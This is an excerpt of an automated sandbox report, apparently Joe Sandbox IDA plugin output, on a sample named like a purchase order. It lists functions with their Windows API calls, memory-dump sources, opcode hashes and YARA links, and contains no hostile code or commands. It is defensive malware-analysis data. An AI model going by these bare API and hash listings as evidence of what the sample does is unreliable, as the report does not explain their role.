                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$MoveWindow
                                                                                                                                                                      • String ID: Listbox
                                                                                                                                                                      • API String ID: 3315199576-2633736733
                                                                                                                                                                      • Opcode ID: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                                                                                                                      • Instruction ID: bfe1e9b3800f224edd0053b2d0d87a77da448e7bf5b17050dc61905274d7532a
                                                                                                                                                                      • Opcode Fuzzy Hash: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                                                                                                                      • Instruction Fuzzy Hash: E421D3712043047BE6209A65DC81F6BB3E8EBCD735F104B1EFA60A72D1C675EC458729
                                                                                                                                                                      Function 0045D235 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SetErrorMode.KERNEL32(00000001), ref: 0045D243
                                                                                                                                                                      • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D2C7
                                                                                                                                                                      • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D30C
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ErrorMode$InformationVolume
                                                                                                                                                                      • String ID: HH
                                                                                                                                                                      • API String ID: 2507767853-2761332787
                                                                                                                                                                      • Opcode ID: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                                                                                                                                                                      • Instruction ID: 4a708fd112bc3492f79fb502a293ca5b83a6a9b53d4ab80d782c21126568c1ab
                                                                                                                                                                      • Opcode Fuzzy Hash: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                                                                                                                                                                      • Instruction Fuzzy Hash: 622148756083019FC310EF55D944A6BB7E4FF88704F40882EFA45972A2D774E909CB5A
                                                                                                                                                                      Function 0045D42B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SetErrorMode.KERNEL32(00000001), ref: 0045D44A
                                                                                                                                                                      • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D4CE
                                                                                                                                                                      • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D502
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ErrorMode$InformationVolume
                                                                                                                                                                      • String ID: HH
                                                                                                                                                                      • API String ID: 2507767853-2761332787
                                                                                                                                                                      • Opcode ID: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                                                                                                                                                                      • Instruction ID: 8e4373afe1f51974a95c06a3ae407364d3098df30383bdf5f9e51316f0e0b5c8
                                                                                                                                                                      • Opcode Fuzzy Hash: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                                                                                                                                                                      • Instruction Fuzzy Hash: 902137756083019FC314EF55D944A5AB7E8FF88710F40882EFA49972A2D778E909CB9A
                                                                                                                                                                      Function 00450D00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00450D74
                                                                                                                                                                      • SendMessageW.USER32(00000000,00000406,00000000,00640000), ref: 00450D8A
                                                                                                                                                                      • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00450D98
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend
                                                                                                                                                                      • String ID: msctls_trackbar32
                                                                                                                                                                      • API String ID: 3850602802-1010561917
                                                                                                                                                                      • Opcode ID: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                                                                                                                                                                      • Instruction ID: c83169f0c5ec68c29a3e9aa847b4a28030a04f73c00385235601d1c9d4ce90e2
                                                                                                                                                                      • Opcode Fuzzy Hash: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                                                                                                                                                                      • Instruction Fuzzy Hash: 4F1193717403117BE610CAA8DC81F5B73E8AB98B25F204A1AFA50A72C1D2B4FC458B68
                                                                                                                                                                      Function 0046BD4D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69networkCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                                                                                                                      • gethostbyname.WSOCK32(?,00000000,?,?), ref: 0046BD78
                                                                                                                                                                      • WSAGetLastError.WSOCK32(00000000,?,?,00000000,?,?), ref: 0046BD83
                                                                                                                                                                      • inet_ntoa.WSOCK32(00000000,?), ref: 0046BDCD
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ByteCharErrorLastMultiWidegethostbynameinet_ntoa
                                                                                                                                                                      • String ID: HH
                                                                                                                                                                      • API String ID: 1515696956-2761332787
                                                                                                                                                                      • Opcode ID: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                                                                                                                                                                      • Instruction ID: 2fad99cf3c45da3a785a9a513efbde0c8943f1fdc9598a344110207fd9df59bd
                                                                                                                                                                      • Opcode Fuzzy Hash: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                                                                                                                                                                      • Instruction Fuzzy Hash: E21142765043006BC744FB66D885D9FB3A8AFC4318F448C2EF945A7242DA39E949876A
                                                                                                                                                                      Function 004497A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                      • GetMenuItemInfoW.USER32 ref: 004497EA
                                                                                                                                                                      • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00449817
                                                                                                                                                                      • DrawMenuBar.USER32 ref: 00449828
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Menu$InfoItem$Draw_malloc
                                                                                                                                                                      • String ID: 0
                                                                                                                                                                      • API String ID: 772068139-4108050209
                                                                                                                                                                      • Opcode ID: d608b06cc8126a94f8b189079e1e99a50943cf597b9c9b58a32df480197dd29f
                                                                                                                                                                      • Instruction ID: 895394c4ac3d8cdb9511dba433443d5742fa96e32f07ab63668b9f5a94eb31d1
                                                                                                                                                                      • Opcode Fuzzy Hash: d608b06cc8126a94f8b189079e1e99a50943cf597b9c9b58a32df480197dd29f
                                                                                                                                                                      • Instruction Fuzzy Hash: 941182B16042009BF730EB55EC96FABB7A8FB91714F00452EE648CA281DB7A9445CB76
                                                                                                                                                                      Function 004342A8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33memoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AllocTask_wcslen
                                                                                                                                                                      • String ID: hkG
                                                                                                                                                                      • API String ID: 2651040394-3610518997
                                                                                                                                                                      • Opcode ID: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
                                                                                                                                                                      • Instruction ID: 372044899b15e8c53ead78f1c779643819f92c4817f04f111663958edd7e2adf
                                                                                                                                                                      • Opcode Fuzzy Hash: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
                                                                                                                                                                      • Instruction Fuzzy Hash: DCE065736442225B97506A79AC045CBA7D8AFB0370B15482BF880E7310E278E89643E5
                                                                                                                                                                      Function 0043416A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadLibraryA.KERNEL32(kernel32.dll), ref: 0043417A
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0043418C
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressLibraryLoadProc
                                                                                                                                                                      • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                                                                                                                                      • API String ID: 2574300362-1816364905
                                                                                                                                                                      • Opcode ID: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                                                                                                                      • Instruction ID: 1a9860a365f0c849ce8c10f1c40c5c80f9dda93506fd3415c38c98a37cde1a5a
                                                                                                                                                                      • Opcode Fuzzy Hash: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                                                                                                                      • Instruction Fuzzy Hash: F9D05EB1440B039FCB109FA0D80C64BB6E4AB64301F148C2EF885B2654D7B8E8C0CBA8
                                                                                                                                                                      Function 004343CE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434466,?,?,00464B68,?,?,?,?,?,00000000,?,?,00000101,?), ref: 004343DE
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IcmpSendEcho), ref: 004343F0
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressLibraryLoadProc
                                                                                                                                                                      • String ID: ICMP.DLL$IcmpSendEcho
                                                                                                                                                                      • API String ID: 2574300362-58917771
                                                                                                                                                                      • Opcode ID: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                                                                                                                      • Instruction ID: bde82dd314f67bb94adb8237e566b22d9cd50c1f3059090bebd97951f1ce1dc3
                                                                                                                                                                      • Opcode Fuzzy Hash: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                                                                                                                      • Instruction Fuzzy Hash: C9D017B45043039BD7105B21D80874A76E4AF58310F118C2FF881E2250CBBCE8808B79
                                                                                                                                                                      Function 004343FD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadLibraryA.KERNEL32(ICMP.DLL,?,0043447D,?,?,00464B56,?,?,?,?,00000000,?,?,00000101,?,?), ref: 0043440D
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IcmpCloseHandle), ref: 0043441F
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressLibraryLoadProc
                                                                                                                                                                      • String ID: ICMP.DLL$IcmpCloseHandle
                                                                                                                                                                      • API String ID: 2574300362-3530519716
                                                                                                                                                                      • Opcode ID: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                                                                                                                                                                      • Instruction ID: 815a2f2ef77883dfca24b23846b24e776c3b140ddfaf16f0983d17b56328066b
                                                                                                                                                                      • Opcode Fuzzy Hash: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                                                                                                                                                                      • Instruction Fuzzy Hash: 9FD017B04443129AD7106B64D80874A76E4AB68302F129C3FF881A2660C7BCA8808B39
                                                                                                                                                                      Function 0043442C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434494,?,?,00464A94,?), ref: 0043443C
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IcmpCreateFile), ref: 0043444E
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressLibraryLoadProc
                                                                                                                                                                      • String ID: ICMP.DLL$IcmpCreateFile
                                                                                                                                                                      • API String ID: 2574300362-275556492
                                                                                                                                                                      • Opcode ID: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                                                                                                                      • Instruction ID: c247b13c068300da1972229949477068df6ba5342f41feac8fae2a533bc96115
                                                                                                                                                                      • Opcode Fuzzy Hash: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                                                                                                                      • Instruction Fuzzy Hash: 97D017B04043029ADB105B60D90875A77E4AB68300F118C7FF9A1A2250C7BCA8808B29
                                                                                                                                                                      Function 0040EE70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadLibraryA.KERNEL32(kernel32.dll,0040E551,?), ref: 0040EE7B
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0040EE8D
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressLibraryLoadProc
                                                                                                                                                                      • String ID: IsWow64Process$kernel32.dll
                                                                                                                                                                      • API String ID: 2574300362-3024904723
                                                                                                                                                                      • Opcode ID: 16a412f97595c511ed2c9e877c1bae7dd0f808d0cf5b3a9fdd28adcf59ee176d
                                                                                                                                                                      • Instruction ID: 75875fa2f3f8b89ed4c8cde0d061cde3839b728dd3838c322d7dfd2ddbff31fa
                                                                                                                                                                      • Opcode Fuzzy Hash: 16a412f97595c511ed2c9e877c1bae7dd0f808d0cf5b3a9fdd28adcf59ee176d
                                                                                                                                                                      • Instruction Fuzzy Hash: 51D0C9B0940707DAC7301F72C91871B7AE4AB40342F204C3EB995A1290DBBCC0408B28
                                                                                                                                                                      Function 0040ACA0 Relevance: 6.4, APIs: 4, Instructions: 368COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ClearVariant
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1473721057-0
                                                                                                                                                                      • Opcode ID: 3e9ce65d11b316350caf6cb0db2ee4373dc883206541589756c66e9508b68ec6
                                                                                                                                                                      • Instruction ID: 4e1e522645e86f73b8885f2d86dba7d443b77ce6b8f7ad4508257b27d10f8221
                                                                                                                                                                      • Opcode Fuzzy Hash: 3e9ce65d11b316350caf6cb0db2ee4373dc883206541589756c66e9508b68ec6
                                                                                                                                                                      • Instruction Fuzzy Hash: 3DD18D746003018FD724DF25D484A26B7E1EF49704F64887EE9899B3A1D739EC92CB9A
                                                                                                                                                                      Function 0041456C Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • __flush.LIBCMT ref: 00414630
                                                                                                                                                                      • __fileno.LIBCMT ref: 00414650
                                                                                                                                                                      • __locking.LIBCMT ref: 00414657
                                                                                                                                                                      • __flsbuf.LIBCMT ref: 00414682
                                                                                                                                                                        • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                        • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3240763771-0
                                                                                                                                                                      • Opcode ID: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                                                                                                                                                                      • Instruction ID: ec1a4dff6c5341ad57a53ba98b0f539b864df2cc4a0ba96fecd891c5d8a4160d
                                                                                                                                                                      • Opcode Fuzzy Hash: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                                                                                                                                                                      • Instruction Fuzzy Hash: 4841A571A00605ABDB249FA5C9445DFB7B6EFC1328F28852FE41997280D77CDEC18B48
                                                                                                                                                                      Function 004781AE Relevance: 6.1, APIs: 4, Instructions: 135COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
